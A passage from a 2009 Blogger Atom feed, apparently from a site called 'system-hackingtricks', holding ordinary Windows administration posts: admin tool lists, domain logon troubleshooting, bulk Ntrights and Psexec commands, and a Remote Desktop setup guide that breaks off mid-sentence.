href='http://www.blogger.com/feeds/1866310394240400324/posts/default/2680475616922502221'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/2680475616922502221'/><link rel='alternate' type='text/html' href='http://system-hackingtricks.blogspot.com/2009/12/recover-lost-windows-nt-administrator.html' title='Recover Lost Windows NT Administrator Password'/><author><name>Stubalooo</name><uri>http://www.blogger.com/profile/01592047995888851218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1866310394240400324.post-3161093191818167840</id><published>2009-12-01T11:23:00.000-08:00</published><updated>2009-12-01T11:29:16.393-08:00</updated><title type='text'>Microsoft's Administration Tools for Windows 2000</title><content type='html'>Microsoft provides a fairly comprehensive set of tools for administrators. I would call some of these tools and some services. Some are integral to NT and W2K like Event Viewer. The tools are: &lt;p&gt; &lt;/p&gt;&lt;table&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;Tool &lt;/td&gt; &lt;td&gt;Description &lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Active Directory Domains and Trusts&lt;/td&gt; &lt;td&gt;administer domain trusts, change domain mode, add and change user principal name suffixes&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Active Directory Sites and Services&lt;/td&gt; &lt;td&gt;establishes and administers sites, replication, and security services&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Active Directory Users and Computers&lt;/td&gt; &lt;td&gt;manages users, computers, and groups within a domain&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Certification Authority&lt;/td&gt; &lt;td&gt;manages certificate services which issues certificates for public key security&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Cluster Administrator (advanced server only)&lt;/td&gt; &lt;td&gt;handles the configuration of clusters and nodes&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Component Services&lt;/td&gt; &lt;td&gt;configures and administers COM components and apps&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Computer Management&lt;/td&gt; &lt;td&gt;administers disks, shares, users, groups, and services on the local computer&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Configure Your Server&lt;/td&gt; &lt;td&gt;sets up and configures windows services&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Connection Manager Administration Kit&lt;/td&gt; &lt;td&gt;manages and customizes local and remote connections&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Data Sources&lt;/td&gt; &lt;td&gt;adds, removes, and configures ODBC databases and drivers&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;DHCP&lt;/td&gt; &lt;td&gt;manages DHCP services&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;DHCP&lt;/td&gt; &lt;td&gt;manages DHCP services&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Distributed files system (DFS)&lt;/td&gt; &lt;td&gt;manages DFS installations, topology, and replication&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;DNS&lt;/td&gt; &lt;td&gt;manages DNS services&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Event Viewer&lt;/td&gt; &lt;td&gt;display application, security and system logs&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Internet Authentication Service&lt;/td&gt; &lt;td&gt;configures security and authenication for dialin users&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Internet Services Manager&lt;/td&gt; &lt;td&gt;manages IIS&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Licensing Manager&lt;/td&gt; &lt;td&gt;manages client licenses&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Local Security Policy&lt;/td&gt; &lt;td&gt;views and configures user rights, audit policy, and misc security settings applicable to local computer&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Network Monitor&lt;/td&gt; &lt;td&gt;captures network data for analysis&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Performance Monitor&lt;/td&gt; &lt;td&gt;views system performance graphs and configures performance logs and alerts&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;QoS Admission Control&lt;/td&gt; &lt;td&gt;Quality of Service: assign network bandwidth by subnet&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Remote Storage&lt;/td&gt; &lt;td&gt;manages the storage of infrequently accessed files&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Routing and Remote Access&lt;/td&gt; &lt;td&gt;administers dialup, vpn, and internetwork connections&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Server Extensions Administrator&lt;/td&gt; &lt;td&gt;manages Front Page server extensions&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Servies Manager&lt;/td&gt; &lt;td&gt;start, stop, and configure services&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Telephony&lt;/td&gt; &lt;td&gt;manages telephony clients and servers&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Telnet Server Administration&lt;/td&gt; &lt;td&gt;start, stop, and provide info about Telnet server&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Terminal Services Client Creator&lt;/td&gt; &lt;td&gt;make floppy disks for installing Terminal Services client software&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Terminal Services Configuration&lt;/td&gt; &lt;td&gt;configures new connections for Terminal Services; modifies and deletes existing connections&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Terminal Services Manager&lt;/td&gt; &lt;td&gt;display terminal servers in trusted domains&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;WINS&lt;/td&gt; &lt;td&gt;adminster WINS&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;p&gt;Most admins want to run these tools from their W2K workstation. Open the i386 folder in the W2K server CD and double-click &lt;span style="color:blue;"&gt;Adminpak.msi&lt;/span&gt;. This will start the &lt;span style="color:green;"&gt;Administration Tools Setup Wizard&lt;/span&gt; which you can use to install or remove admin tools. This version of the Admin tools will not install under XP. The .NET version of &lt;span style="color:blue;"&gt;Adminpak.msi&lt;/span&gt; will. You can download the beta3 version of the &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=c16ae515-c8f4-47ef-a1e4-a8dcbacff8e3&amp;amp;displaylang=en" target="_blank"&gt;Windows XP Administration Tools Pack &lt;/a&gt;. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1866310394240400324-3161093191818167840?l=system-hackingtricks.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/3161093191818167840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/3161093191818167840'/><link rel='alternate' type='text/html' href='http://system-hackingtricks.blogspot.com/2009/12/microsofts-administration-tools-for.html' title='Microsoft&apos;s Administration Tools for Windows 2000'/><author><name>Stubalooo</name><uri>http://www.blogger.com/profile/01592047995888851218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1866310394240400324.post-165661814128973518</id><published>2009-12-01T11:06:00.000-08:00</published><updated>2009-12-01T11:27:50.487-08:00</updated><title type='text'>Check If A Single User Can't Log On To Domain? and Active Directory Remote Admin Scripts</title><content type='html'>&lt;span&gt;What To Check If A Single User Can't Log On To Domain?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Explains the tips you can use to troubleshoot the problem for a user who can't log on to the domain.&lt;br /&gt;&lt;br /&gt;&lt;p&gt; Sometimes a single user might be not able to log on to domain. You can follow the checklist given below:  &lt;/p&gt; &lt;p&gt; &lt;strong&gt;Make sure:&lt;/strong&gt;  &lt;/p&gt; &lt;ul&gt;&lt;li&gt;You can ping the domain controller from the user's computer. &lt;/li&gt;&lt;li&gt;There is no white space in the User's Home Profile in User's Property &gt; Check it using the DSA.MSC.&lt;/li&gt;&lt;li&gt;The user computer is configured with the correct DNS Server to find the domain controller &gt; Check in TCP/IP property of the user's computer.&lt;/li&gt;&lt;li&gt;The Computer Account in the domain for the user's computer is not missing &gt; Check using the DSA.MSC&lt;/li&gt;&lt;li&gt;The Computer Account in the domain is not disabled &gt; Check using the DSA.MSC&lt;/li&gt;&lt;li&gt;The Time between the domain controller and the client computer is synchronized &gt; Check using Net Time command.&lt;/li&gt;&lt;li&gt;The Domain Controller can be found &gt; Check environment variables and check "LOGONSERVER" value or execute Nltest /DsGetDc:domain to re-locate the domain controller for the user.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;Active Directory Remote Admin Scripts&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; The Windows 2000 Resource Kits include vbs scripts to aid in Active Directory  remote administration. They include:  &lt;ul&gt;&lt;li&gt;&lt;font color="blue"&gt;chkusers.vbs &lt;/font&gt;: searches a domain for a user with  specific properties or attributes.  &lt;/li&gt;&lt;li&gt;&lt;font color="blue"&gt;createusers.vbs &lt;/font&gt;: create new users.  &lt;/li&gt;&lt;li&gt;&lt;font color="blue"&gt;group.vbs &lt;/font&gt;: returns list of the groups contained  within a specific domain.  &lt;/li&gt;&lt;li&gt;&lt;font color="blue"&gt;groupdescription.vbs &lt;/font&gt;: returns description assigned  to a specific group.  &lt;/li&gt;&lt;li&gt;&lt;font color="blue"&gt;listdcs.vbs &lt;/font&gt;: returns list of all domain controllers  in a domain.  &lt;/li&gt;&lt;li&gt;&lt;font color="blue"&gt;listdomains.vbs &lt;/font&gt;: returns list of all domains in a  namespace.  &lt;/li&gt;&lt;li&gt;&lt;font color="blue"&gt;listmembers.vbs &lt;/font&gt;: returns list of all members of an  Active Directory group.  &lt;/li&gt;&lt;li&gt;&lt;font color="blue"&gt;listprinters.vbs &lt;/font&gt;: returns list of all printers and  their properties for a specified server.  &lt;/li&gt;&lt;li&gt;&lt;font color="blue"&gt;modifyldap.vbs &lt;/font&gt;: control LDAP admin policies.  &lt;/li&gt;&lt;li&gt;&lt;font color="blue"&gt;modifyusers.vbs &lt;/font&gt;: modifies multiple user accounts on  a domain or system.  &lt;/li&gt;&lt;li&gt;&lt;font color="blue"&gt;schemadiff.vbs &lt;/font&gt;: compares schema between two  forests.  &lt;/li&gt;&lt;li&gt;&lt;font color="blue"&gt;systemaccount.vbs &lt;/font&gt;: returns config info for system  account on a system.  &lt;/li&gt;&lt;li&gt;&lt;font color="blue"&gt;useraccount.vbs &lt;/font&gt;: returns info contained within a  user account.  &lt;/li&gt;&lt;li&gt;&lt;font color="blue"&gt;usergroup.vbs &lt;/font&gt;: add or remove multiple users from a  group. &lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1866310394240400324-165661814128973518?l=system-hackingtricks.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/165661814128973518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/165661814128973518'/><link rel='alternate' type='text/html' href='http://system-hackingtricks.blogspot.com/2009/12/check-if-single-user-cant-log-on-to.html' title='Check If A Single User Can&apos;t Log On To Domain? and Active Directory Remote Admin Scripts'/><author><name>Stubalooo</name><uri>http://www.blogger.com/profile/01592047995888851218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1866310394240400324.post-4375012370257028505</id><published>2009-12-01T11:04:00.000-08:00</published><updated>2009-12-01T11:06:44.022-08:00</updated><title type='text'>Modify Logon Rights On Multiple Computers</title><content type='html'>&lt;h1&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;To Get A List Of Security Groups A User Belongs???&lt;/span&gt;&lt;/span&gt;&lt;/h1&gt;&lt;br /&gt;Explains a simple command you can use to modify the "Log On Locally" rights on all the server remotely.&lt;br /&gt;&lt;br /&gt;&lt;p&gt; Log On Locally rights allows your users to log on locally on the server. By default, all the users in the Active Directory Forest are able to log on to any server except domain controllers. The Local Users Security Group is added to the "Allow Log On Locally" rights on local server and this security group contains the Domain Users security local group. If you have created a security group and want to allow only the members of this Security Group should be able to log on locally on specified servers then you must do it manually, using a Group Policy or using a script. &lt;/p&gt; &lt;p&gt; In this example, I have created a domain security group named: RDP Access and members of this security group should be able to log on locally on 100 servers out of 500 servers in my environment. &lt;/p&gt; &lt;p&gt; &lt;strong&gt;Steps:&lt;/strong&gt;  &lt;/p&gt; &lt;ul&gt;&lt;li&gt;Create a text file: Servers.txt&lt;/li&gt;&lt;li&gt;Copy all the 100 server names in this text file.&lt;/li&gt;&lt;li&gt;Run the following command:&lt;/li&gt;&lt;/ul&gt; &lt;p&gt; &lt;strong&gt;For /F "Tokens=*" %a in (Servers.txt) Do Ntrights.exe -m &lt;/strong&gt;&lt;a href="file://%25a/"&gt;&lt;strong&gt;\\%a&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; -u "Domain_Name\RDP Access" +r SeInteractiveLogonRight&lt;/strong&gt;  &lt;/p&gt; &lt;p&gt; The above command will assign the Log On Locally rights to RDP Access which is a domain local security group on the servers mentioned in the Servers.txt file. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1866310394240400324-4375012370257028505?l=system-hackingtricks.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/4375012370257028505'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/4375012370257028505'/><link rel='alternate' type='text/html' href='http://system-hackingtricks.blogspot.com/2009/12/modify-logon-rights-on-multiple.html' title='Modify Logon Rights On Multiple Computers'/><author><name>Stubalooo</name><uri>http://www.blogger.com/profile/01592047995888851218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1866310394240400324.post-2884640101687656748</id><published>2009-12-01T10:35:00.000-08:00</published><updated>2009-12-01T11:04:00.373-08:00</updated><title type='text'>Check If Servers In DMZ Are Up and Running Or Pinging</title><content type='html'>&lt;h1&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;How To Check If Servers In DMZ Are Up and Running Or Pinging?&lt;/span&gt;&lt;/span&gt;&lt;/h1&gt;&lt;br /&gt;Explains the steps you have use to make sure the Servers in the DMZ are pinging from a Desktop computer which is running out of the DMZ.&lt;br /&gt;&lt;span style="font-size: 9pt; color: rgb(51, 51, 51); font-family: Arial;"&gt;&lt;br /&gt;The servers in DMZ are protected by the firewall. The firewall rules are used to block any incoming traffic such as ICMP. ICMP is used by the Ping utility. So you can not ping a server from your desktop. &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="font-size: 9pt; color: rgb(51, 51, 51); font-family: Arial;"&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-size: 9pt; color: rgb(51, 51, 51); font-family: Arial;"&gt;You have a desktop computer which is out of DMZ. You have a task assigned to you which involves pinging all the servers in the DMZ to make sure they are up and running. As a manual process, you will log on to a server (generally called a Management Server) in DMZ and then check all the servers one by one or run a Ping Script which will show you the results in a text file. What if you want to check the connectivity from the Desktop computer? In this situation, you can use a simple command to process the Ping from within the DMZ's Management Server. This is how you do it:&lt;/span&gt;   &lt;p&gt; &lt;strong&gt;&lt;span style="font-size: 9pt; color: rgb(51, 51, 51); font-family: Arial;"&gt;Steps:&lt;/span&gt;&lt;/strong&gt;  &lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;span style="font-size: 9pt; color: rgb(51, 51, 51); font-family: Arial;"&gt;Create a text file by name ServersDMZ.txt&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 9pt; color: rgb(51, 51, 51); font-family: Arial;"&gt;Copy all the server names in the text you created and then save it&lt;/span&gt;&lt;span style="font-size: 9pt; color: rgb(51, 51, 51); font-family: Arial;"&gt;.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 10pt; color: rgb(51, 51, 51); font-family: Symbol;"&gt;&lt;span&gt;&lt;span style="font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 9pt; color: rgb(51, 51, 51); font-family: Arial;"&gt;Run the following command from your "desktop" on a Server in DMZ from which all other servers in the DMZ are reachable.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt; &lt;strong&gt;&lt;span style="font-size: 10pt; color: rgb(51, 51, 51); font-family: Arial;"&gt;For /f "Tokens=*" %a in (ServersDMZ.txt) do Psexec.exe \\ManagementServer Ping %a &gt; Results.txt&lt;/span&gt;&lt;/strong&gt;  &lt;/p&gt; &lt;p&gt; &lt;span style="font-size: 9pt; color: rgb(51, 51, 51); font-family: Arial;"&gt;The above command will run on a Management Server running in the DMZ and then check the connectivity of all the Servers specified in the ServersDMZ.txt.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 9pt; color: rgb(51, 51, 51); font-family: Arial;"&gt;&lt;br /&gt;&lt;/span&gt;  &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1866310394240400324-2884640101687656748?l=system-hackingtricks.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/2884640101687656748'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/2884640101687656748'/><link rel='alternate' type='text/html' href='http://system-hackingtricks.blogspot.com/2009/12/check-if-servers-in-dmz-are-up-and.html' title='Check If Servers In DMZ Are Up and Running Or Pinging'/><author><name>Stubalooo</name><uri>http://www.blogger.com/profile/01592047995888851218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1866310394240400324.post-668930459981678382</id><published>2009-12-01T08:58:00.000-08:00</published><updated>2009-12-01T10:34:54.833-08:00</updated><title type='text'>Remote Desktop with Windows XP</title><content type='html'>&lt;h2&gt;What is Remote Desktop?&lt;/h2&gt; &lt;p&gt;With the Remote Desktop feature in Windows XP, you can remotely control a computer from another office, from home, or while traveling. This allows you to use the data, applications, and network resources that are on your office computer, without being in your office.  In the Illustration below, you can see that an Systems Administrator can quickly (and securely) get into their corporate offices and do that, system down, no problem, you can fix from anywhere you can find an Internet connection that is stable enough to let you work.&lt;/p&gt; &lt;blockquote dir="ltr"&gt; &lt;p&gt;&lt;img alt="" src="http://www.windowsnetworking.com/img/upl/11101824103656.gif" align="bottom" border="0" hspace="0" /&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Remote Desktop is the new name for the older Windows based Terminal Services Client that (like with Windows 2000), would allow you to connect to and manage a server remotely for up to two connections, allowing you to do maintenance on the server and so on. Remote Desktop (Windows Server 2003 / XP), allows the same functionality, except it's enhanced and easier to use. &lt;/p&gt; &lt;p&gt;To use Remote Desktop, you need the following:&lt;/p&gt; &lt;ul type="disc"&gt;&lt;li&gt;Windows XP Professional installed on your office computer, or whichever computer you plan to operate remotely. This computer is known as the host. This article was written using Microsoft’s most current operating system – Windows XP Professional. &lt;/li&gt;&lt;li&gt;Display data and keyboard data are sent over a WAN or Internet connection so make sure that you are working over a good connection… to use Remote Desktop over a slow connection could be a burden. It will work, but it may not respond as well as you would like.  You can use low bandwidth connections, it will allow you to remotely control a system. &lt;/li&gt;&lt;/ul&gt; &lt;h2&gt;Get Remote Desktop&lt;/h2&gt; &lt;ul type="disc"&gt;&lt;li&gt;The Remote Desktop Connection software is pre-installed with Windows XP so to verify that you have it, use the following URL:  &lt;ul type="circle"&gt;&lt;li&gt;Start =&gt; All Programs =&gt; Accessories =&gt; Communications, =&gt; Remote Desktop Connection &lt;/li&gt;&lt;/ul&gt; &lt;/li&gt;&lt;li&gt;If you don’t have it, then you need to get it. There are options. First, you can get the Remote Desktop Connection software on the Windows XP Professional and Windows XP Home Edition product CDs &lt;/li&gt;&lt;li&gt;If you don’t have a CD, then you can get it online. Use the links I provided in the &lt;a href="http://www.windowsnetworking.com/articles_tutorials/Using-Remote-Desktop-Windows-XP-Pro.html#links"&gt;links and references section&lt;/a&gt; to get the clients if you don’t have it currently available on your system. &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;The Remote Desktop Connection software can be installed on any supported Windows platform. One you get it, install it and open it up. &lt;/p&gt; &lt;p&gt;Let’s look at how install Remote Desktop (if not already installed)&lt;/p&gt; &lt;h2&gt;Install the Client Software&lt;/h2&gt; &lt;p&gt;To install Remote Desktop Connection software on a client computer&lt;/p&gt; &lt;ol type="1"&gt;&lt;li&gt;Insert the Windows XP CD into your CD-ROM drive.  &lt;/li&gt;&lt;li&gt;When the Welcome page appears, click &lt;b&gt;Perform additional tasks&lt;/b&gt;, and then click &lt;b&gt;Setup Remote Desktop Connection&lt;/b&gt; as shown below. &lt;/li&gt;&lt;/ol&gt; &lt;blockquote dir="ltr"&gt; &lt;p&gt;&lt;img alt="" src="http://www.windowsnetworking.com/img/upl/image0051101823054004.jpg" align="bottom" border="0" hspace="0" /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt="" src="http://www.windowsnetworking.com/img/upl/image0071101823054004.jpg" align="bottom" border="0" hspace="0" /&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;ol start="3" type="1"&gt;&lt;li&gt;When the installation wizard starts, follow the directions that appear on your screen.  &lt;/li&gt;&lt;li&gt;You will have to agree to the license agreement &lt;/li&gt;&lt;/ol&gt; &lt;blockquote dir="ltr"&gt; &lt;p&gt;&lt;img alt="" src="http://www.windowsnetworking.com/img/upl/image0091101823054004.jpg" align="bottom" border="0" hspace="0" /&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;ol start="5" type="1"&gt;&lt;li&gt;Enter your personal information and click Next  &lt;/li&gt;&lt;li&gt;Finish the installation and you will now have Remote Desktop Installed on your XP system. &lt;/li&gt;&lt;/ol&gt; &lt;h2&gt;Enable Your Computer as the Host&lt;/h2&gt; &lt;p&gt;Before you use Remote Desktop, your systems have to be set up properly to allow it to be ‘controlled’. One of the first things you will need to do is to ‘enable’ the remote control of a system. To do that, you will need to make a quick setting change in the System Properties.  &lt;/p&gt; &lt;ol type="1"&gt;&lt;li&gt;Log in as an Administrator (or as a member of the Administrators group)  &lt;/li&gt;&lt;li&gt;Open the System Applet in the Control Panel.  &lt;/li&gt;&lt;li&gt;Click Start  =&gt; Control Panel =&gt; System Applet =&gt; Remote Tab &lt;/li&gt;&lt;/ol&gt; &lt;blockquote dir="ltr"&gt; &lt;p&gt;&lt;img alt="" src="http://www.windowsnetworking.com/img/upl/image0111101823126610.jpg" align="bottom" border="0" hspace="0" /&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;ol start="4" type="1"&gt;&lt;li&gt;On the Remote tab, select the Allow users to connect remotely to this computer check box, as shown below.&lt;/li&gt;&lt;/ol&gt; &lt;blockquote dir="ltr"&gt; &lt;p&gt;&lt;img alt="" src="http://www.windowsnetworking.com/img/upl/image0131101823126610.jpg" align="bottom" border="0" hspace="0" /&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;ol start="5" type="1"&gt;&lt;li&gt;Make sure that you have the proper permissions to connect to a computer remotely, and click OK. &lt;/li&gt;&lt;/ol&gt; &lt;h2&gt;Remote Desktop and XP Service Pack 2&lt;/h2&gt; &lt;p&gt;If you're running Windows XP Service Pack 2 (SP2) and you enable Remote Desktop, Windows Firewall will be automatically configured to allow Remote Desktop connections to your computer. There is one exception; this will not happen unless you have the Windows Firewall configured to &lt;b&gt;allow no exceptions&lt;/b&gt;. &lt;/p&gt; &lt;p&gt;To allow exceptions in Windows Firewall:&lt;/p&gt; &lt;ol type="1"&gt;&lt;li&gt;Open the Control Panel, Double Click the Security Center applet &lt;/li&gt;&lt;/ol&gt; &lt;blockquote dir="ltr"&gt; &lt;p&gt;&lt;img alt="" src="http://www.windowsnetworking.com/img/upl/image0151101823126610.jpg" align="bottom" border="0" hspace="0" /&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;ol start="2" type="1"&gt;&lt;li&gt;When the Security Center opens, Click on Windows Firewall &lt;/li&gt;&lt;/ol&gt; &lt;blockquote dir="ltr"&gt; &lt;p&gt;&lt;img alt="" src="http://www.windowsnetworking.com/img/upl/image0171101823126610.jpg" align="bottom" border="0" hspace="0" /&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;ol start="3" type="1"&gt;&lt;li&gt;Make sure you Clear the check box next to “Don't allow exceptions” &lt;/li&gt;&lt;/ol&gt; &lt;blockquote dir="ltr"&gt; &lt;p&gt;&lt;img alt="" src="http://www.windowsnetworking.com/img/upl/image0191101823152038.jpg" align="bottom" border="0" hspace="0" /&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;h2&gt;Start a Session&lt;/h2&gt; &lt;p&gt;Once you have enabled your Windows XP Professional computer to allow remote connections, and installed client software on a Windows-based client computer, you are ready to start a Remote Desktop session. &lt;/p&gt; &lt;p&gt;Remember, as I laid out in the diagram in the beginning of this article, you must first establish a virtual private network (VPN) connection or remote access service (RAS) connection from your client computer to your office network. Without a connection ‘into’ the corporate network, you will not be able to remote a server, especially if its not internet facing *like on a DMZ* and using a private &lt;a href="http://www.faqs.org/rfcs/rfc1918.html"&gt;RFC 1918&lt;/a&gt; address. &lt;/p&gt; &lt;h2&gt;To create a new Remote Desktop Connection&lt;/h2&gt; &lt;ol type="1"&gt;&lt;li&gt;Open Remote Desktop Connection.  &lt;/li&gt;&lt;li&gt;Click Start =&gt; All Programs =&gt; Accessories =&gt; Communications =&gt; Remote Desktop Connection  &lt;/li&gt;&lt;li&gt;In Computer, type the computer name or TCP/IP (shown below) address of the host you want to control… remember, they have to be ‘allowed’ to be controlled first. &lt;/li&gt;&lt;li&gt;Fill in your credentials, Domain if needed, save the connection as a ‘profile’ so you can quickly go back to it later and use it again. &lt;/li&gt;&lt;/ol&gt; &lt;blockquote dir="ltr"&gt; &lt;p&gt;&lt;img alt="" src="http://www.windowsnetworking.com/img/upl/image0211101823152038.jpg" align="bottom" border="0" hspace="0" /&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;ol start="5" type="1"&gt;&lt;li&gt;I don’t recommend checking the ‘Save my password’ check box because if your system becomes compromised, your servers (or other systems) have now become exposed to the Hacker. Now in the server, the whole corporate network is potentially exposed. &lt;/li&gt;&lt;li&gt;Once you have put in your credentials and all other pertinent information, Click Connect.  &lt;/li&gt;&lt;li&gt;Your request will now be sent to the system you want to connect to. The Log On to Windows dialog box appears.  &lt;/li&gt;&lt;li&gt;In the Log On to Windows dialog box, type your user name, password, and domain (if required), and then click OK.  &lt;/li&gt;&lt;li&gt;The Remote Desktop window will open and you will see the desktop settings, files, and programs that are the system. The system that is in the corporate network can remain locked and safe while you are now inside it, working on it. Whatever you are doing cannot be seen by someone watching the console. &lt;/li&gt;&lt;li&gt;Problems do occur, most commonly it’s just that the connection is either refused or it timed out because of latency. Here is a commonly seen error message: &lt;/li&gt;&lt;/ol&gt; &lt;blockquote dir="ltr"&gt; &lt;p&gt;&lt;img alt="" src="http://www.windowsnetworking.com/img/upl/image0231101823152038.jpg" align="bottom" border="0" hspace="0" /&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&lt;strong&gt;Note: &lt;/strong&gt;&lt;br /&gt;To change your connection settings, (such as screen size, automatic logon information, and performance options), click on the other tabs available when you open the Remote Desktop Client. &lt;/p&gt; &lt;h2&gt;To open a saved connection&lt;/h2&gt; &lt;ol type="1"&gt;&lt;li&gt;Saved connections are stored in you’re my Documents folder  &lt;/li&gt;&lt;li&gt;Windows Explorer =&gt; My Documents folder  &lt;/li&gt;&lt;li&gt;Click the .Rdp file for the connection you want to use &lt;/li&gt;&lt;/ol&gt; &lt;p&gt;A Remote Desktop file (*.rdp) file is a profile that holds a bunch of settings. You can make copies of them as you would any other file and just change the options internally to that profile and save it with another name. You can copy all the *.rdp files and store them in a folder on your desktop; you can even edit the Start Menu and make a folder called RDP with all your profiles in it. Whatever makes it easy for you to manage… &lt;/p&gt; &lt;p&gt;To edit an *.rdp file and change the connections settings it contains, right-click the file and then click Edit.&lt;/p&gt; &lt;h2&gt;To log off and end the session&lt;/h2&gt; &lt;ol type="1"&gt;&lt;li&gt;In the Remote Desktop 